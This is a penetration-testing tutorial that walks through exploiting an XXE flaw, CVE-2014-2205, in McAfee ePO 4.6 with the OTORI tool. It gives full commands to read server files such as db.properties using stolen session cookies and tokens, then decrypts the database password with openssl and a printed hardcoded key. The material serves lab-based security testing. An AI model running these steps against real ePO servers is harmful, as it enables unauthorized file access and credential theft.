OTORI - Example 4: McAfee ePO

article by Ben Lincoln

This article describes security testing-related software whose use may be restricted or prohibited in your place of residence or your workplace. The penalties for violating laws and regulations regarding security testing-related tools can be severe. Ensuring that you are allowed to use this software is your responsibility.

The instructions in this tutorial are slightly less-detailed than for other articles on this website. This is because the software described should not be used if you are unfamiliar with basic- to intermediate-level use of Linux. Proceeding without having that knowledge is very likely to result in damage and/or loss of data.

McAfee ePO ("ePolicy Orchestrator") is a sort of master control unit for enterprise deployments of McAfee's "endpoint protection" software. In addition to "ePolicies", versions 4.6.0 through 4.6.7 are capable of orchestrating some very handy unauthorized data retrieval via an XXE vulnerability. In particular — as described by RedTeam Pentesting GmbH in their writeup — there is a configuration file which includes the ePO database credentials encrypted using a hardcoded key. More on that a little later.

ePO is a commercial product, but if you'd like to experiment with this vulnerability in a lab, Fun Over IP's page on their ePolicy 0wner tool^[1] includes a downloadable version of 4.6.4 (at least as of this writing) which will install in a trial mode if you aren't in possession of a license key.

Test Environment Systems

You'll need two systems for this exercise:

The attacker/pen-testing system. This is where On The Outside, Reaching In will run. This tutorial was written and tested using a vanilla Debian 7 x64 VM, which was patched at the current level when this document was written.
The target system. This tutorial was written and tested using Windows® Server 2003 R2 x64 for this role^[2]. I tested the module against unpatched as well as fully-patched (as of the tutorial's writing) versions of that operating system.

I strongly recommend that you build VMs specifically for this testing, or at least snapshot existing VMs before you begin, so that if something goes wrong, you won't lose any data/work. This software is a pre-alpha preview of a tool designed for penetration testing (in other words, it actively misuses its target(s)). Take appropriate safety precautions.

On the attacking systems, On The Outside, Reaching In was run using Python 2.7.3, because it was the default Python version for Debian 7 x64 (including Kali 1.0) as of this writing. It might work with Python 3, or it might not.

Test Environment Setup

On the attacking system:

Unpack the current release of On The Outside, Reaching In.
Set up and launch either Burp Suite or OWASP ZAP. If you are using Kali Linux as the attacking system, this should already be taken care of for you. The instructions and screenshots in this tutorial will refer to the free version of Burp Suite, because I think it's a little easier to find the necessary information in the Burp interface.
Launch your web browser, and configure it to connect through the intercepting proxy you chose in the last step.

For the target system, you can use an existing (cloned/snapshotted) ePO instance, or step through the installer in the version linked at the beginning of this article. Accepting all of the defaults will be fine for testing On The Outside, Reaching In. The default installation sets ePO up for the use of SQL Express, which means you won't be able to simulate connecting to SQL after decrypting the ePO password. If you want to do that final step, you'll need a full SQL Server installation to point ePO to during the installation.

If you are using a pre-existing ePO instance, you'll need the username and password for at least one account which has access to import ePO dashboards. The instructions in this tutorial assume you're using the default admin account.

Preparing to Exploit ePO

Screenshots of key steps are below the list of instructions.

In the web browser on the attacking system, connect to the ePO web interface. By default, this will be using TLS/SSL on port 8443 of the target system (e.g. https://epotarget.vuln.local:8443/).
Log in using an account that has permission to import ePO dashboards. If you are using the default install, just go ahead and use the built-in admin account that you created when stepping through the wizard. In a real-world pen-test, you would probably not have access to the built-in superuser account, but the process is exactly the same regardless of which account you use, as long as it can import dashboards.
Make sure you're in the Dashboards view. Select a dashboard other than the default to view. This helps ensure that all of the necessary cookies are set.
Switch to your intercepting proxy's history view, and examine the last request that was sent to the server. You will need to obtain all three of the following values:
1. The JSESSIONID cookie. This value is 38EE7554E84A5937CFD9E0DB77199639 in the screenshots below.
2. The JSESSIONIDSSO cookie. This value is 13A659BBF358C0D450FD799B3B5575F8 in the screenshots below.
3. The value of the origin.user.security.token parameter, which is included as a URL parameter in most GET requests and a body parameter in most POST requests to ePO. This value is 05fFskPox4t4Ytr5 in the screenshots below.
The easiest way to use the cookie values is to simply copy the entire cookie string (JSESSIONID=38EE7554E84A5937CFD9E0DB77199639; orion.login.language="language:en&country:"; JSESSIONIDSSO=13A659BBF358C0D450FD799B3B5575F8 in the screenshots below).
If you don't see one or more of these values, keep combing through the proxy history until you find them.

Note: the origin.user.security.token value appears to expire fairly quickly (within 5-10 minutes) if it is unused. If you find the steps below not working, make sure you are copying a fresh value.

Preparing to Exploit McAfee ePO - Screenshots

ePO logon screen

ePO Executive Dashboard

Example cookies and security token

Illustrations related to the preceeding section.

CVE-2014-2205-D - Dashboard With XXE-Based Description Field Upload Module

Prepare your cookie string for use on the command-line by escaping any double-quotes. For example, if the value you obtained from your proxy history was JSESSIONID=38EE7554E84A5937CFD9E0DB77199639; orion.login.language="language:en&country:"; JSESSIONIDSSO=13A659BBF358C0D450FD799B3B5575F8, then the escaped version would be JSESSIONID=38EE7554E84A5937CFD9E0DB77199639; orion.login.language=\"language:en&country:\"; JSESSIONIDSSO=13A659BBF358C0D450FD799B3B5575F8
Verify that you have the correct parameters for On The Outside, Reaching In by obtaining a directrory listing of C:\. This path will exist on virtually any Windows installation, so if the attempt fails, verify the parameters you're using. Run the following command, in which you'll need to replace the cookie string and security token values with the ones you obtained from your proxy history, and of course the ePO URL:

python ./otori.py --clone --module "CVE-2014-2205-D" --singleuri "file:///c:/" --module-options "https://epotarget.vuln.local:8443/" "05fFskPox4t4Ytr5" --http-cookie "JSESSIONID=ED958513AB043C288011BA10BA645320; orion.login.language=\"language:en&country:\"; JSESSIONIDSSO=13A659BBF358C0D450FD799B3B5575F8" --outputbase "./output/epo" --overwrite
Assuming the request was successful, your output directory should now contain a file named c[0x3A] ("c:" escaped for use as a valid directory name on Windows®). Open this file and verify that it contains a directory listing. Make a note of the fact that the first four characters of the directory listing are replaced by the fifth through eighth characters. This may or may not be obvious in this directory listing (it depends on the name of the first entry), but will become very obvious later. This is a quirk of ePO itself, and cannot be avoided.
Make a note of whether it contains both Program Files (x86) and Program Files or just Program Files. This will (generally) let you know if the target system is running a 64-bit version of Windows® or a 32-bit version. If you installed ePO specifically for this tutorial — and accepted all of the defaults — then it will have been installed into C:\Program Files (x86)\McAfee\ePolicy Orchestrator on 64-bit versions of Windows®, or C:\Program Files\McAfee\ePolicy Orchestrator on 32-bit versions of Windows®. If you used an existing ePO installation, you may need to take advantage of On The Outside, Reaching In's --rooturi mode (see OTORI - Example 1: Apache Solr) to scan some or all of the filesystem to determine where ePO is installed.
Rename the retrieved directory listing. For example:

mv "output/epo/c[0x3A]" "output/epo-c_drive_root.txt"
(this is to avoid conflicts with needing to create a directory with the same name in the next operation)
Once you know the installation directory for ePO on the target system, convert it into URI format. For example, if the installation directory is C:\Program Files\McAfee\ePolicy Orchestrator, then in URI format it would be file:///c:/Program Files (x86)/McAfee/ePolicy Orchestrator/.
Append Server/conf/orion/db.properties to the URI from the last step. To continue the previous example, the full URI would be file:///c:/Program Files (x86)/McAfee/ePolicy Orchestrator/Server/conf/orion/db.properties.
Use this new URI in a second On The Outside, Reaching In operation. For example:

python ./otori.py --clone --module "CVE-2014-2205-D" --singleuri "file:///c:/Program Files (x86)/McAfee/ePolicy Orchestrator/Server/conf/orion/db.properties" --module-options "https://epotarget.vuln.local:8443/" "05fFskPox4t4Ytr5" --http-cookie "JSESSIONID=ED958513AB043C288011BA10BA645320; orion.login.language=\"language:en&country:\"; JSESSIONIDSSO=13A659BBF358C0D450FD799B3B5575F8" --outputbase "./output/epo" --overwrite
If you specified the correct path, the configuration file should have been retrieved - verify that it contains a line beginning with db.user.passwd.encrypted.ex=, which you'll use in the next section.
Note the same quirk as with the directory listing - the first four characters of the file are replaced by copies of the fifth through eighth.
Feel free to experiment with other requests. As you've seen, ePO will allow you to retrieve directory listings, but there are several quirks:
1. As previously noted, the first four characters of any file are effectively lost.
2. If the file content is longer than about 1KiB, it will be truncated, and you'll see a chunk of content from the XML dashboard definition appended to the truncated text.
3. This module is relatively slow compared to the others covered in the tutorials, so it will take a considerable amount of time to e.g. scan through the entire C: drive if you choose to do so.

CVE-2014-2205-D - Screenshots

C: drive directory listing

db.properties file

Illustrations related to the preceeding section.

Decrypting the Database Password

Thanks to an unfortunate design decision on the part of McAfee's developers, you can now decrypt the stored password you retrieved in the db.properties file. RedTeam Pentesting GmbH described this in their writeup of the base vulnerability, but did not actually include the encryption key. As they noted, the encryption key is present in the Metasploit "Windows Gather McAfee ePO 4.6 Config SQL Credentials" post-exploit module, but it's in an odd format (an array of signed 8-bit integers), which makes it a small headache to use in e.g. openssl commands. I've saved you the trouble of doing the conversion.

Remove any backslashes from the base64-encoded value you obtained in the last section. For example, if the value in the file was YagHmc2w9cDzid1EKHz6VtYWE2o8GFmz2BbIDPneQ+KX6dwLjkjsC1lhKqciAp3aZvKW/zl9bJ3CcBG1Acw3YXWAcvvt3Ct8v/JcM0ZOaB0\\=, then it will need to be updated to YagHmc2w9cDzid1EKHz6VtYWE2o8GFmz2BbIDPneQ+KX6dwLjkjsC1lhKqciAp3aZvKW/zl9bJ3CcBG1Acw3YXWAcvvt3Ct8v/JcM0ZOaB0=.
Convert the base64 string back to a binary representation. For example:

echo "YagHmc2w9cDzid1EKHz6VtYWE2o8GFmz2BbIDPneQ+KX6dwLjkjsC1lhKqciAp3aZvKW/zl9bJ3CcBG1Acw3YXWAcvvt3Ct8v/JcM0ZOaB0=" | base64 -d > /var/tmp/fixed_encryption_keys_are_awesome.bin
Use the openssl utility to decrypt the binary data by giving it the fixed key that's hardcoded into ePO 4.6 (0x5E9C3EDFE625843666219380315A2933). For example:

openssl enc -d -aes-128-ecb -in /var/tmp/fixed_encryption_keys_are_awesome.bin -K 5E9C3EDFE625843666219380315A2933
By examining the db.properties, you should be able to determine if the credentials you just obtained are a SQL Server account, a local Windows® account, or even a domain Windows® account. Whichever is true, they should prove useful if this were a real pen-test.

Footnotes

1.	4.6.0 through 4.6.5 are also vulnerable to having arbitrary code executed on both the server and managed client. That could provide a pretty sizable "orchestra" at organizations which depend on ePO!
2.	I won a copy of Server 2003 R2 x64 years ago in a contest. If you're interested in donating a legitimate copy of 2008 or later for testing, I won't turn you down.